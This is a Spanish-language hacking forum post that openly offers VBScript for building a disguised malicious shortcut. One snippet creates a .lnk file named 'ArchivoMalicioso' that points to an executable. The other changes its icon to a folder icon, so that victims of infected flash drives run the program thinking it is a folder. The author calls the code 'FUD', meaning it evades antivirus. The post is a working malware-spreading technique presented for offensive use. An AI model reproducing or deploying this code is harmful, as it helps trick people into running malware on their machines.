comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[VBS] Crear link y cambiarle el icono.

  • 0 Respuestas
  • 1096 Vistas

0 Usuarios y 2 Visitantes están viendo este tema.

Desconectado 79137913

  • *
  • Moderator
  • Mensajes: 627
  • Actividad:
    3.33%
  • Reputación 10
  • 4 Esquinas
    • Ver Perfil
    • Doors.Party
    • Email
  • Skype: fg_mdq@hotmail.com
« en: Enero 04, 2016, 09:47:29 am »
HOLA!!!

Tecnica muy utilizada para infectar memorias flash este codigo permitira crear un link desde un path determinado y cambiarle el icono.

Se puede utilizar para que el usuario ejecute un ejecutable pensando que es una carpeta por ejemplo.

Codigo 1:

Código: Visual Basic
  1. 'CREAR ACCESO DIRECTO:
  2. Set objShell = WScript.CreateObject("WScript.Shell")
  3. Set link= objShell.CreateShortcut("C:\ArchivoMalicioso.lnk")
  4. link.TargetPath = "C:\Ejecutable.exe"
  5. link.Description = "Archivo malicioso"
  6. link.Save

Codigo 2:

Código: Visual Basic
  1. 'CAMBIAR ICONO DE UN ACCESO DIRECTO
  2.  
  3. Const DESKTOP = &H10&
  4.  
  5. Set objShell = CreateObject("Shell.Application")
  6.  
  7. 'SELECCIONAMOS LA CARPETA
  8. Set objFolder = objShell.NameSpace("c:\")
  9. 'SELECCIONAMOS EL ARCHIVO DE ACCESO DIRECTO
  10. Set objFolderItem = objFolder.ParseName("ArchivoMalicioso.lnk")
  11. Set objShortcut = objFolderItem.GetLink
  12.  
  13. 'ELEGIMOS EL ICONO 13 DE SHELL32.DLL
  14. objShortcut.SetIconLocation "C:\Windows\System32\SHELL32.dll", 13
  15. objShortcut.Save

Bueno en cuanto a como elegir el icono utilizamos el archivo shell32.dll el icono 13, para saber que icono es el 13 o el numero que querramos abrimos el explorador de iconos y contamos de la siguiente manera:


Como veran el icono elegido es el que tiene fondo azul. (el que esta seleccionado en la imagen).

Este codigo es FUD.


GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   You are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



[Descarga] ¿Que es y como crear Scripts? │Para MSN

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1705
Último mensaje Julio 13, 2011, 05:53:59 pm
por LucaSthefano
[IMPRESIONANTE] Crear Formularios en VBS!

Iniciado por 79137913

Respuestas: 0
Vistas: 3216
Último mensaje Marzo 20, 2014, 10:48:59 am
por 79137913